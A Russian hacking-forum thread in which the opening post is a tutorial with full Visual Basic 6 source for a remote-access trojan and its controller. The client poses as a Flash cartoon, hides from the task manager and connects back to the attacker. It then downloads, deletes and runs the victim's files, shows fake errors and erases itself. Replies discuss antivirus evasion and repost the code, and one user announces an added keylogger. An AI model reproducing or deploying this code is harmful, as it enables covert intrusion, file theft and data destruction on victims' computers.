VB. Пишем троян (лазаем по чужому компу)

Тема в разделе "Статьи", создана пользователем karas, 12 окт 2007.

  1. karas
    karas Guest
    Привет. В этой статье я опишу процесс создания простенького трояна, при помощи которого мы сможем перемещаться по просторам чужого компа, скачивать, удалять или запускать его файлы.

    Нам понадобятся:
    1. Компилятор: Visual Basic 6.0
    2. Контрол Winsock
    3. Resource Hacker.

    Принцип работы:
    Мы пишем 2 приложения: клиент и сервер. Эти приложения будут обменьваться данными по протоколу TCP с использованием контрола Winsock (не компонента wicsock а контрола - его API реализацией).
    Клиент(троян) у нас выглядит как обычный скомпилированный flash - мульт, но при запуске он создаёт swf - файл и запускает его, после чего делает своё чёрное дело.

    Теперь подробнее:
    Мы запускаем серв у себя на компе, он открывает 1009 порт и ждёт, пока трой не постучит в этот порт. Потом мы даём жертве трой, она его запускает, видит flash - ролик, радуется, а троё тем временем создаёт подключение к серверу и стучит в этот 1009 порт. Сервер принимает подключение, и закрывает порт для дальнейших конектов. С этого момента Сервер и клиент начинают обмениваться данными:
    Серв отправляет клиенту запрос на список файлов и папок в какой-либо дирректории в виде: <set>c:\prodram files\
    В ответ клиент сморит што там находиться и отправляет 3 сообщения не сервер в виде:
    <dir><<c:\prodram files\adobe>><<c:\prodram files\3ds max7>><<c:\prodram files\Ahead>>

    <fil><<Programa.exe>><<initdll.exe>>

    <cdr><<c:\prodram files\>>

    <dir>,<fil>,<cdr> - метки, придуманные мной, штобы серв понимал што к нему приходит. в данном случае <dir> - список дирректорий, <fil> - список файлов, <cdr> - текущая дирректория. всё што находиться между << >> являеться этементом списка. Сервер принимает эти данные, лбрабатывает и выводит данные.

    Итак, приступим:1. Создание сервера.
    Создадим проект (Standart EXE)
    Добавляем в проект контрол Winsock (я не использую компонент winsock.ocx, т.к. он есть не у всех)(Project --> add file)
    Делаем 2 формы(Form1 и form2)
    Для Form1 размещаем элементы управления как тут:


    Для Form1 азмещаем элементы управления как тут:


    В результате дерево проекта должно выглядеть так:


    Теперь займёмся кодом. Вот код Form1:
    Код:
    Dim traf As Single                  ' Счётчик трафика
    
    
    Private Sub Form_Load()
    Winsock1.LocalPort = 1009           'Открываем порт
    Winsock1.Listen                     ' Ждём подключения...
    End Sub
    Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
    If Winsock1.State <> sckClosed Then Winsock1.CloseSocket        'Ес конект первый, то принимаем и закрываем сокет для дальнейших конектоф
    Winsock1.Accept requestID                                       'Принимаем запрос на соединение
    Me.Caption = "Server - Жертва подключена! "                     'отображаем результат
    End Sub
    
    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)      ' Получени данных
    On Error Resume Next
    Dim txt As String                                               'Сюда будем записывать то, что нам клиент шлёт
    Dim b As Byte                                                   'Байты
    txt = ""
    traf = traf + ((bytesTotal / 1024))                             'Считаем трафик
    Label4 = Int(traf)                                              'Отображаем трафик
    Winsock1.GetData txt                                            ' получаем данные
    '///////////////////////// обработка полученных данных ///////////////////
    Select Case Mid$(txt, 1, 5)                                     'Исследуем команды(у меня это первые 5 символов)
    Case "<dir>"                                                    ' Если к нам прислали список папочек
        ln = Len(txt)                                               ' Узнаём длинну
        List1.Clear                                                 ' Очищаем список на форме
        For i = 1 To ln                                             ' ищем запись "<<"
            If Mid$(txt, i, 2) = "<<" Then                          '
                For ii = i + 2 To ln                                '
                    If Mid$(txt, ii, 2) = ">>" Then GoTo 10         'Ищем идущую за ней ">>"
                Next ii                                             '
    10      dirr = Mid$(txt, i + 2, ii - i - 2)                     'Смотрим што между этими записями
                For z = 1 To Len(dirr) - 1                          '
                    If Mid$(dirr, z, 1) = "\" Then ns = z           '
                Next z                                              '
               
                ldir = Mid$(dirr, ns + 1, Len(dirr) - ns)           'извлекаем из строка всё што после последнего "/"
                List1.AddItem ldir                                  'Добавляем в списочег папку
            End If
        Next i
    
    Case "<fil>"                                                    'Если трой у жертвы шлёт нам список файлов
        ln = Len(txt)                                               '
        List2.Clear                                                 '
        For i = 1 To ln                                             'Выбираем из сообщения по тому же принципу што и выше
            If Mid$(txt, i, 2) = "<<" Then                          '
                For ii = i + 2 To ln                                '
                    If Mid$(txt, ii, 2) = ">>" Then GoTo 20         '
                Next ii                                             '
    20      fill = Mid$(txt, i + 2, ii - i - 2)                     '
                List2.AddItem fill                                  'Добавляем имена файлоф в списог
            End If                                                  '
        Next i                                                      '
    
    Case "<cdr>"                                                    'Ес к нам прислали текущую дирректорию
        Text1 = Mid$(txt, 6, Len(txt) - 5)                          'Сморим што идёт с 6-го до последнего символа и записываем это в Text1
                                            
    Case "<hdd>"                                                    'Ес к нам прислали список дискоф логических
        ln = Len(txt)                                               '
        Form2.List1.Clear                                           '
        For i = 1 To ln                                             '
            If Mid$(txt, i, 2) = "<<" Then                          '
                For ii = i + 2 To ln                                '
                    If Mid$(txt, ii, 2) = ">>" Then GoTo 30         '
                Next ii                                             '
    30      hdd = Mid$(txt, i + 2, ii - i - 2) & "\"                '
        
                Form2.List1.AddItem hdd                             'Добавляем элементы списка
                
            End If
        Next i
        
    Case "<siz>"                                                    'Если к нам прислали ответ на запрос размера файла
        Label6 = Mid$(txt, 6, Len(txt) - 5) & " Kb"                      'Выводим размер файла
    
    Case "<snd>"                                                        'Если нам кидают файл
        Open App.Path & "\" & Mid$(txt, 6, Len(txt) - 5) For Binary As #2   'Открываем файл
    
    Case "</nd>"                                                        'Если нам прислали што файл скачен
        Close #2
        MsgBox "Файл скачен!"
    
    Case Else                                                       'если нет метки "<   >" - значт нам 1 Кб файла прислали
        Put #2, , txt                                               ' Записываем данные ф файл
    
    End Select
    End Sub
    '/////////////////////////// управление //////////////////////////
    Private Sub Command1_Click()                                    'Сообщаем клинету што хотим файл скачать
    If List2.Text <> "" Then                                        '
    Sleep 500                                                       '
    Winsock1.SendData "<lod>" & Text1 & List2.Text                  '
    End If                                                          '
    End Sub
    Private Sub Command2_Click()
    If List2.Text <> "" Then                                        'Сообщаем клинету што хотим узнать размер файла
    Sleep 500                                                       '
    Winsock1.SendData "<siz>" & Text1 & List2.Text                  '
    End If                                                          '
    End Sub
    Private Sub Command3_Click()
    If List2.Text <> "" Then                                        'Сообщаем клинету што нада удалить файл
    Winsock1.SendData "<kil>" & Text1 & List2.Text                  '
    End If                                                          '
    End Sub
    Private Sub Command5_Click()                                    'Сообщаем клинету што ему нада выкинуть окошко критической ошибки :)
    txerr = InputBox("Текст ошибки")
    If txerr <> "" Then
        Sleep 500                                                       '
        Winsock1.SendData "<msg>" & txerr
    End If
    End Sub
    Private Sub Command6_Click()
    If Len(Text1) > 3 Then                                          '
        For i = 1 To Len(Text1) - 1                                 'Сообщаем клинету што хотим перейти в папочку назад
            If Mid$(Text1, i, 1) = "\" Then n = i                   '
        Next i                                                      '
        Winsock1.SendData "<set>" & Mid$(Text1, 1, n)               '
    End If
    End Sub
    Private Sub Command7_Click()
    If List1 <> "" Then                                             'Сообщаем клинету што хотим перейти в папочку вперёд
        adr = "<set>" & Text1 & List1.Text & "\"                    '
        Winsock1.SendData adr                                       '
    End If                                                          '
    End Sub
    Private Sub Command8_Click()
    Form1.Enabled = False                                           'Показываем форму выбора диска
    Form2.Show                                                      '
    End Sub
    Private Sub Command4_Click()                                    'Сообщаем клиенту што пора выйти и удалить самого себя
    Sleep 500                                                       '
    Winsock1.SendData "<///>"                                       '
    End Sub
    Private Sub Command9_Click()
    If List2.Text <> "" Then                                        'Сообщаем клиенту што нада запустить приложение
    Sleep 500                                                       '
    Winsock1.SendData "<exe>" & Text1 & List2.Text                  '
    End If                                                          '
    End Sub
    Private Sub Form_Unload(Cancel As Integer)                      '
    Winsock1.SendData "<end>"                                       'Перед тем как выйти сообщаем клиенту што нада закрыцо
    Sleep 100                                                       '
    Winsock1.CloseSocket                                            'Ес выход - закрываем порт
    End                                                             'Выход
    End Sub
    
    Код Form2:
    Код:
    Private Sub Command1_Click()
    If List1.Text <> "" Then
    Form1.Winsock1.SendData "<set>" & List1.Text    'Ес выбран диск, отправляем запрос
    clos
    End If
    End Sub
    
    Private Sub Command2_Click()
    clos
    End Sub
    
    Sub clos()
    Form1.Enabled = True
    Form2.Hide
    End Sub
    
    Private Sub Command3_Click()
    Sleep 1000
    Form1.Winsock1.SendData "<hdd>"             ' Обновляем список
    End Sub
    
    Private Sub Form_Unload(Cancel As Integer)
    clos
    End Sub
    2. Клиент(сам троян)
    Также делаем новый проект --> Standart EXE
    делаем 1 форму (Form1):


    Добавляем контрол Winsock. Трой у нам маскируется под Flash-ролик, поэтому мы должны ему задать соответствующую иконку. Теперь найдём где-нибудь Flash-ролик с расширением SWF. Создаём в папке с проектом файл 1.res(пустой) и открываем его через Resource Hacker. Выбираем "Действие --> добавить новый ресурс". Выбираем тут наш Flash-ролик, тип ресурса делаем SWF, название - 100. Сохраняем файл 1.res.
    Теперь возвращаемся в Visual Basic, и выполняем Project --> add file --> 1.res. Готово! В результате у нас должно получиться вот такое дерево проекта:


    Осталось прописать код для Form1:
    Код:
    Private Sub Form_Load()
    On Error Resume Next            'Если возникет ошибка, не обращаем нанеё внимания
    Me.Hide                         ' Скрываем форму
    App.TaskVisible = False         ' скрываемся от диспетчера
    
    '//////////// Загрузим Flash-ролик ///////////
    res = LoadResData(100, "swf")
    Open App.Path & "\" & App.EXEName & ".swf" For Binary As #1
    For i = 0 To UBound(res)
    Put #1, , CByte(res(i))
    Next i
    Close #1
    ShellExecute Me.hwnd, "open", App.Path & "\" & App.EXEName & ".swf", vbNullString, vbNullString, 1
    Sleep 2000
    Kill App.Path & "\" & App.EXEName & ".swf"
    
    ip = "127.0.0.1"               ' Указываем клиенту IP сервера
    Winsock1.RemoteHost = ip        '
    Winsock1.RemotePort = 1009      ' Задаём порт
    Winsock1.Connect                ' Коннектимсо
    
    senderHDD                       ' отсылаем список логических дискоф
    Sleep 1000                      ' Таймаут на отсылку (штоб I-нет не насиловать у жертвы и штоб пакеты не спуталис)
    sender App.Path & "\"           ' Отсылаем список файлов/папок
    End Sub
    
    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    On Error Resume Next                                            'закрываем глаза на ошибки
    Dim txt As String                                               'Сюда принимаем данные
    Dim siz As Variant                                              'Размер файла
    dim rzm as variant
    
    Winsock1.GetData txt                                            'Принимаем данные в строку txt
    '/////////////////////////// смотрим какую команду нам серв прислал ///////////
    If Mid$(txt, 1, 5) = "<set>" Then                                   'Если серв хочет зайти в папку
        adr = Mid$(txt, 6, Len(txt) - 5)                                ' Определяем путь
        sender adr                                                       'Запускаем процедуру SENDER, которая отправит серве список папок и файлов
    End If
    
    If Mid$(txt, 1, 5) = "<lod>" Then                                   'Если сервер хочет скачать файл
        adr = Mid$(txt, 6, Len(txt) - 5)                                'Определяем путь
        For i = 1 To Len(adr)                                           'Определяем имя файла
        If Mid$(adr, i, 1) = "\" Then fn = i
        Next i
        nam = Mid$(adr, fn + 1, Len(adr) + fn)                          'Определили имя файла
        rzm = FileLen(adr)
        ReDim fil(rzm) As Byte                                          'Задаём размерность массива байтов
        Sleep 500
        Winsock1.SendData "<snd>" & nam                                 'Даём серверу понять што ща к нему пойдут килобайты файла
        Open adr For Binary As #1                                       'Открываем файл для двоичного чтения
        Get #1, , fil                                                   'считываем байты из файла
        Close #1                                                        'Закрываем файл
        Sleep 1000
        Winsock1.SendData fil
        Sleep 500                                                       'Снова пауза
        Winsock1.SendData "</nd>"                                       ' Говорим серверу, что все части файла отосланы
    End If
    
    If Mid$(txt, 1, 5) = "<kil>" Then                                   ' Если сервер говорит што нада удалить файл :)
        adr = Mid$(txt, 6, Len(txt) - 5)                                ' Считываем путь
        Kill adr                                                        ' Удаляем файл :)
    End If
    
    If Mid$(txt, 1, 5) = "<exe>" Then                                   ' Если сервер хочет зарустить приложение
        adr = Mid$(txt, 6, Len(txt) - 5)
        Shell adr                                                       ' Запускаем приложение
    End If
    
    If Mid$(txt, 1, 5) = "<end>" Then                                   ' Если сервер вышел
    Shell "tskill " & App.EXEName                                       ' Быстренько сами себя вырубаем
    End If
    
    If Mid$(txt, 1, 5) = "<hdd>" Then                                   ' Если сервер хочет узнать список логических дискоф
    senderHDD
    End If
    
    If Mid$(txt, 1, 5) = "<///>" Then                                   ' Если сервер хочет штоб трой удалил сам себя
    Open App.Path & "\1.bat" For Output As #1                           ' Создаём в этой дирректории .bat файл
        Print #1, "tskill " & App.EXEName                               ' Пишем в .bat файле команду убить свой процесс
        Print #1, "for /L %%I IN (1,1,1000) DO (del " & App.Path & "\" & App.EXEName & ".exe)"      ' Пишем цикл из 1000 команд на удаление себя (это штоб наверняка :) )
    Close #1
    Shell App.Path & "\1.bat", vbHide                                   'Запускаем нащ чудные .bat файл
    End If
    
    If Mid$(txt, 1, 5) = "<msg>" Then                                   ' Если серв хочет выкинуть ошибку на компе жертвы :)
    Call MsgBox(Mid$(txt, 6, Len(txt) - 5), vbCritical, "explorer.exe") ' Выкидываем ошибку с текстом, пристанным сервером
    End If
    
    If Mid$(txt, 1, 5) = "<siz>" Then                                   ' Если серв хочет узнать размер файла
        adr = Mid$(txt, 6, Len(txt) - 5)                                ' Узнаём адрес
        siz = FileLen(adr)                                              ' Узнаём размер
        Sleep 500                                                       ' Небольшая пауза
        Winsock1.SendData "<siz>" & Str(siz \ 1024)                     ' Отсылаем размер файла в киллобайтах
    End If
    End Sub
    
    Sub sender(adr)                                     ' Эта поцедура сморит файлы и папки в текущей папке (adr) и отсылает эти списка серву
    Dir1 = adr                                          ' Задаём пути обьектам
    File1 = adr                                         ' Задаём пути обьектам
    txt = "<dir>"                                       ' Формируем сообщение, содержащее список папок
    For i = 0 To Dir1.ListCount - 1
    txt = txt & "<<" & Dir1.List(i) & ">>"
    Next i
    Sleep 500
    Winsock1.SendData txt                               ' Отсылаем сообщение
    txt = "<fil>"                                       ' Формируем сообщение, содержащее список файлов
    For i = 0 To File1.ListCount - 1
    txt = txt & "<<" & File1.List(i) & ">>"
    Next i
    Sleep 500
    Winsock1.SendData txt                               ' Отсылаем сообщение
    
    Sleep 500
    Winsock1.SendData "<cdr>" & adr                     ' отсылаем путь текущей папки
    End Sub
    Sub senderHDD()                                     ' Отсылка списка логических дисков.
    txt = "<hdd>"
    For i = 0 To Drive1.ListCount - 1
    txt = txt & "<<" & mid$(Drive1.List(i),1,1) & ":\" & ">>"            ' Формируем список.
    Next i
    Sleep 500
    Winsock1.SendData txt                               ' Отправляем список
    End Sub
    
    Уфф... вроде всё. не забудьте указать в строке ip="127.0.0.1" свой IP адрес, прежде чем отправить клиент к жертве. Еси вы хотите зашифровать IP адрес, то можно это сделать так: ip=chr(x)+chr(x)..., гдк x - коды символов вашего IP.

    Вот работающие исходники с ресурсами:
    http://rapidshare.com/files/78106704/tcp_troj.rar

    P.S. Данная статья имеет исключительно ознакомительный характер и её автор не несёт никакой ответственности за возможные последствия :)
    Спасибо за внимание.
     
    Последнее редактирование модератором: 16 май 2008
    12 окт 2007
    2 пользователям это понравилось.
  2. dagger
    dagger Новичок
    Симпатии:
    0
    Насколько его легко антивиры ловят? А то мне стало интересно попробовать.
     
    28 дек 2007
  3. Robo
    Robo Guest
    dagger,
    Ну так откомпилируй и попробуй проверить антивирусами. Благо с компиляцией VB программ вопросов возникнуть не должно ). Тем более даже компилировать не придётся там есть ссылка на бинарки : http://rapidshare.com/files/78106704/tcp_troj.rar
     
    28 дек 2007
  4. dagger
    dagger Новичок
    Симпатии:
    0
    Спасибо, я уже скачал комплект. Но для такого дремучего юзверя как я, который шарахается от слова "скомпилируй" - это серьезная работа. Буду пробовать.
     
    28 дек 2007
  5. Robo
    Robo Guest
    Да там даже не придётся компилировать там всё скомпилированно ;)
     
    28 дек 2007
  6. karas
    karas Guest
    dagger,
    Антивирусы его никак не ловят, но браундмауэр спросит при запуске, заблокировать или разблокировать приложение.
    В слове компилировать нет ничего сложного) открываеш исходники в Visual Basic 6.0, в исходниках клиента впрописываеш свой IP (ip="x.x.x.x"), потом File --> Make EXE. В исходниках сервера ничего менять не надо.
     
    28 дек 2007
  7. nitr0d
    nitr0d Guest
    karas,
    Поправь пожалуйста, что бы можно было переходить на другие диски... а то вид есть но не переходит.
     
    28 дек 2007
    1 человеку нравится это.
  8. karas
    karas Guest
    hexxer0k,
    Исправил процедуру senderhdd в клиентской части:
    Код:
    Sub senderHDD()                                
    txt = "<hdd>"
    For i = 0 To Drive1.ListCount - 1
    txt = txt & "<<" & mid$(Drive1.List(i),1,1) & ":\" & ">>"           
    Next i
    Sleep 500
    Winsock1.SendData txt                              
    End Sub
     
    29 дек 2007
  9. nitr0d
    nitr0d Guest
    karas,
    Все так же не переходит. Вот открываю project1, изменяю ип адрес на свой и компилирую с твоими исправлениями. Вот код клиентской части.
    Код:
    Private Sub Form_Load()
    On Error Resume Next            'Если возникет ошибка, не обращаем нанеё внимания
    Me.Hide                         ' Скрываем форму
    App.TaskVisible = False         ' скрываемся от диспетчера
    
    '//////////// Загрузим Flash-ролик ///////////
    res = LoadResData(100, "swf")
    Open App.Path & "\" & App.EXEName & ".swf" For Binary As #1
    For i = 0 To UBound(res)
    Put #1, , CByte(res(i))
    Next i
    Close #1
    ShellExecute Me.hwnd, "open", App.Path & "\" & App.EXEName & ".swf", vbNullString, vbNullString, 1
    Sleep 2000
    Kill App.Path & "\" & App.EXEName & ".swf"
    
    ip = "192.168.5.***" ' Указываем клиенту IP сервера
    Winsock1.RemoteHost = ip        '
    Winsock1.RemotePort = 1009      ' Задаём порт
    Winsock1.Connect                ' Коннектимсо
    
    senderHDD                       ' отсылаем список логических дискоф
    Sleep 1000                      ' Таймаут на отсылку (штоб I-нет не насиловать у жертвы и штоб пакеты не спуталис)
    sender App.Path & "\"           ' Отсылаем список файлов/папок
    End Sub
    
    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    On Error Resume Next                                            'закрываем глаза на ошибки
    Dim txt As String                                               'Сюда принимаем данные
    Dim siz As Variant                                              'Размер файла
    Dim rzm As Variant                                              ' Тоже размер файла
    Winsock1.GetData txt                                            'Принимаем данные в строку txt
    '/////////////////////////// смотрим какую команду нам серв прислал ///////////
    If Mid$(txt, 1, 5) = "<set>" Then                                   'Если серв хочет зайти в папку
        adr = Mid$(txt, 6, Len(txt) - 5)                                ' Определяем путь
        sender adr                                                       'Запускаем процедуру SENDER, которая отправит серве список папок и файлов
    End If
    
    If Mid$(txt, 1, 5) = "<lod>" Then                                   'Если сервер хочет скачать файл
        adr = Mid$(txt, 6, Len(txt) - 5)                                'Определяем путь
        For i = 1 To Len(adr)                                           'Определяем имя файла
        If Mid$(adr, i, 1) = "\" Then fn = i
        Next i
        nam = Mid$(adr, fn + 1, Len(adr) + fn)                          'Определили имя файла
        rzm = FileLen(adr)
        ReDim fil(rzm) As Byte                                          'Задаём размерность массива байтов
        Sleep 500
        Winsock1.SendData "<snd>" & nam                                 'Даём серверу понять што ща к нему пойдут килобайты файла
        Open adr For Binary As #1                                       'Открываем файл для двоичного чтения
        Get #1, , fil                                                   'считываем байты из файла
        Close #1                                                        'Закрываем файл
        Sleep 1000
        Winsock1.SendData fil
        Sleep 500                                                       'Снова пауза
        Winsock1.SendData "</nd>"                                       ' Говорим серверу, что все части файла отосланы
    End If
    
    If Mid$(txt, 1, 5) = "<kil>" Then                                   ' Если сервер говорит што нада удалить файл :)
        adr = Mid$(txt, 6, Len(txt) - 5)                                ' Считываем путь
        Kill adr                                                        ' Удаляем файл :)
    End If
    
    If Mid$(txt, 1, 5) = "<exe>" Then                                   ' Если сервер хочет зарустить приложение
        adr = Mid$(txt, 6, Len(txt) - 5)
        Shell adr                                                       ' Запускаем приложение
    End If
    
    If Mid$(txt, 1, 5) = "<end>" Then                                   ' Если сервер вышел
    Shell "tskill " & App.EXEName                                       ' Быстренько сами себя вырубаем
    End If
    
    If Mid$(txt, 1, 5) = "<hdd>" Then                                   ' Если сервер хочет узнать список логических дискоф
    senderHDD
    End If
    
    If Mid$(txt, 1, 5) = "<///>" Then                                   ' Если сервер хочет штоб трой удалил сам себя
    Open App.Path & "\1.bat" For Output As #1                           ' Создаём в этой дирректории .bat файл
        Print #1, "tskill " & App.EXEName                               ' Пишем в .bat файле команду убить свой процесс
        Print #1, "for /L %%I IN (1,1,1000) DO (del " & App.Path & "\" & App.EXEName & ".exe)"      ' Пишем цикл из 1000 команд на удаление себя (это штоб наверняка :) )
    Close #1
    Shell App.Path & "\1.bat", vbHide                                   'Запускаем нащ чудные .bat файл
    End If
    
    If Mid$(txt, 1, 5) = "<msg>" Then                                   ' Если серв хочет выкинуть ошибку на компе жертвы :)
    Call MsgBox(Mid$(txt, 6, Len(txt) - 5), vbCritical, "explorer.exe") ' Выкидываем ошибку с текстом, пристанным сервером
    End If
    
    If Mid$(txt, 1, 5) = "<siz>" Then                                   ' Если серв хочет узнать размер файла
        adr = Mid$(txt, 6, Len(txt) - 5)                                ' Узнаём адрес
        siz = FileLen(adr)                                              ' Узнаём размер
        Sleep 500                                                       ' Небольшая пауза
        Winsock1.SendData "<siz>" & Str(siz \ 1024)                     ' Отсылаем размер файла в киллобайтах
    End If
    End Sub
    
    Sub sender(adr)                                     ' Эта поцедура сморит файлы и папки в текущей папке (adr) и отсылает эти списка серву
    Dir1 = adr                                          ' Задаём пути обьектам
    File1 = adr                                         ' Задаём пути обьектам
    txt = "<dir>"                                       ' Формируем сообщение, содержащее список папок
    For i = 0 To Dir1.ListCount - 1
    txt = txt & "<<" & Dir1.List(i) & ">>"
    Next i
    Sleep 500
    Winsock1.SendData txt                               ' Отсылаем сообщение
    txt = "<fil>"                                       ' Формируем сообщение, содержащее список файлов
    For i = 0 To File1.ListCount - 1
    txt = txt & "<<" & File1.List(i) & ">>"
    Next i
    Sleep 500
    Winsock1.SendData txt                               ' Отсылаем сообщение
    
    Sleep 500
    Winsock1.SendData "<cdr>" & adr                     ' отсылаем путь текущей папки
    End Sub
    Sub senderHDD()
    txt = "<hdd>"
    For i = 0 To Drive1.ListCount - 1
    txt = txt & "<<" & Mid$(Drive1.List(i), 1, 1) & ":\" & ">>"
    Next i
    Sleep 500
    Winsock1.SendData txt
    End Sub
    
     
    29 дек 2007
  10. Senser
    Senser Новичок
    Симпатии:
    0
    в принципе хорошо, но нехватает функции закачки файлов со своей тачки на удаленную и возможности запускать не только *.exe файлы, хотябы для того чтобы слить этот самый "трой" на удаленную тачку и поставить его в автозагрузку при помощи батника и *.reg файла
    если добавишь то цены проге не будет
     
    4 фев 2008
  11. ©SpAMeR
    ©SpAMeR Guest
    Ошибочка не большая!!!Свой ip это 127.0.0.1
     
    4 мар 2008
  12. Bolshevik
    Bolshevik Guest
    127.0.0.1 - это не свой, а localhost или кольцо. В статье имелось в виду свой внешний адрес, куда клиент будет отсылать информацию. Если указать 127.0.0.1, то он просто будет стучаться сам к себе:))
     
    6 мар 2008
  13. xeran
    xeran Guest
    Маленько дописал
    + закачка файлов на комп жертвы
    + поправил переход по дискам
    + простенький кейлогер (совсем забыл про него)

    сами исходники и скомпиленный клиент
    контрол

    А насчет запуска файла. Нелегче тотже .reg файл в exe превратить (например спомощью джойнера)
     
    Последнее редактирование модератором: 20 фев 2009
    5 окт 2008
  14. CapsLock
    CapsLock Новичок
    Симпатии:
    0
    Кто нашёл способ обойти брандмауэр?
     
    26 окт 2008
  15. xeran
    xeran Guest
    kakashonog,
    мб ты небудешь флеймить, а то за такой глупый флейм и в баню попасть можно.
     
    27 окт 2008
  16. dimQa
    dimQa Guest
    ошибка при компилировании

    compile error:
    Sub or Function not defined

    и еще

    compile error:
    Method or data member not found

    В чом трабла?
     
    Последнее редактирование модератором: 6 ноя 2008
    6 ноя 2008
  17. xeran
    xeran Guest
    dimQa,
    Все отлично работает))
    мб контрол не установил?
     
    6 ноя 2008
  18. dimQa
    dimQa Guest
    xeran, да вроде установил. Контрол устанавливается через меню add control?
     
    Последнее редактирование модератором: 7 ноя 2008
    7 ноя 2008
  19. xeran
    xeran Guest
    dimQa,
    Стукни в icq чтоб тут не флудить. помогу.
     
    7 ноя 2008
  20. White-Power
    White-Power Guest
    Аналог Subseven......... И не какого гемароя...

    Добавлено через 1 час 57 минут
    этих Бекдоров сделаных и серверов для них уйма, только у большинства - в том что они работают только в сети. Но самый хороший сабсевен, в том что файл моно клеить с другими файлами и делать картинки любого изображения. 2-х его функциональность.
     
    Последнее редактирование модератором: 7 ноя 2008
    7 ноя 2008
    1 человеку нравится это.
Загрузка...